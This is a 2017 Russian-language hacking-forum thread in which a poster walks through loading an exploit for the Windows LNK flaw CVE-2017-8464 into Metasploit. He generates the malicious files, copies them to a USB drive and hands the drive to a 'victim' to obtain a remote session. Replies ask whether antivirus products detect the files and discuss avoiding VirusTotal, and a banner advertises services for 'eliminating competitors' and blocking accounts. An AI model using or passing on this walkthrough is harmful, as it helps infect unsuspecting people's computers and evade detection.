/bad USB CVE_2017_8464\ _ # by Ondrik8

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
/bad USB CVE_2017_8464\ _ # by Ondrik8

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

15.09.2017, 12:48

Ondrik8

Новичок

Регистрация: 08.11.2016

Сообщений: 0

С нами: 5005666

Репутация: 0

Всем привет, смотрю пошла у нас движуха с USB девайсами для заражения жертв, ну думаю "че я лысый?) в трэнде нужно быть!" Правильно?_) Вот и представлю Вашему вниманию очередной способ заражения от меня)
Нам потребуется 5 минут USB - накопитель, Kali-linux и так едем... сюда !

уязвимые ОС-и

переименовываем и телепортируем в метасплойт:

Код:

Код:

mv 42382 CVE_2017_8464_LNK_Rce.rb

Код:

mv CVE_2017_8464_LNK_Rce.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/

запускаем MSF и обновляемся командой: reload_all и...

exploit -j

далее, настраиваем под себя уязвимость:

Код:

Код:

use exploit/windows/fileformat/CVE_2017_8464_LNK_Rce

можете еще и порт настроить под себя, жмем: exploit

MSF сгенерит файлы, откроем скрытую папку где они лежат) командой: xdg-open /root/.msf4/local/

перенесем их в нашу злую USB-flash-ку )) и подсунем флэшку "жертве прогресса"!)) Как только "жертва" откроет у себя на компе для просмотра содержимого, у Вас появится заветная сессия!))

Удачи!

𝕏 Twitter Reddit Telegram Копировать ссылку

15.09.2017, 22:42

Ondrik8

Новичок

Регистрация: 08.11.2016

Сообщений: 0

С нами: 5005666

Репутация: 0

Цитата:

MrsRobot сказал(а):

спасибо! а как реагируют антивирусники, не тестил? есет будет ругаться?

не нетестил с антиками) если есть возможность? отпиши плиз..

15.09.2017, 23:10

Ondrik8

Новичок

Регистрация: 08.11.2016

Сообщений: 0

С нами: 5005666

Репутация: 0

Цитата:

MrsRobot сказал(а):

где б достать такую редкость как флешка.. ?) неужели ими кто-то пользуется..?_)
а файл же остался у тебя? может на вирустотал закинешь, проверишь? была бы благодарна..)

У Вас нету разве простой USB флэшки?)) там много файлов и НЕ НУЖНО на вирус-тотал закидывать что либо !!!!!!!!!!!!! про это уже знают все)

15.09.2017, 23:34

Ondrik8

Новичок

Регистрация: 08.11.2016

Сообщений: 0

С нами: 5005666

Репутация: 0

Цитата:

MrsRobot сказал(а):

есет интересует.. палит ли?
да, про вирустотал в курсе ( но иной раз некогда тестировать на лабораторной машине
[doublepost=1505503857,1505503779][/doublepost]
ок..сама потестирую будет время
у нас все в облаках

www.antivirusware.com/
http://www.threatexpert.com
https://www.zonealarm.com
http://www.virscan.org
https://www.symantec.com
https://www.comodo.com

16.09.2017, 00:01

persivald

Новичок

Регистрация: 26.08.2017

Сообщений: 0

С нами: 4586369

Репутация: 0

Цитата:

есет смарт секьюрити (лицензия) обнаруживает трояна

16.09.2017, 20:04

Ondrik8

Новичок

Регистрация: 08.11.2016

Сообщений: 0

С нами: 5005666

Репутация: 0

Девушка.... что хотеть?)

Чето фильм вспомнился "девушка с тату дракона")

16.09.2017, 22:02

ghost

Новичок

Регистрация: 27.04.2010

Сообщений: 0

С нами: 8442422

Репутация: 0

Цитата:

Ondrik8 сказал(а):

Девушка.... что хотеть?)

Чето фильм вспомнился "девушка с тату дракона")

Хороший фильм

Код:

Код:

msf > -j
[-] Unknown command: -j.
msf >
msf > use exploit/windows/fileformat/CVE_2017_8464_LNK_Rce
[-] Failed to load module: exploit/windows/fileformat/CVE_2017_8464_LNK_Rce
msf >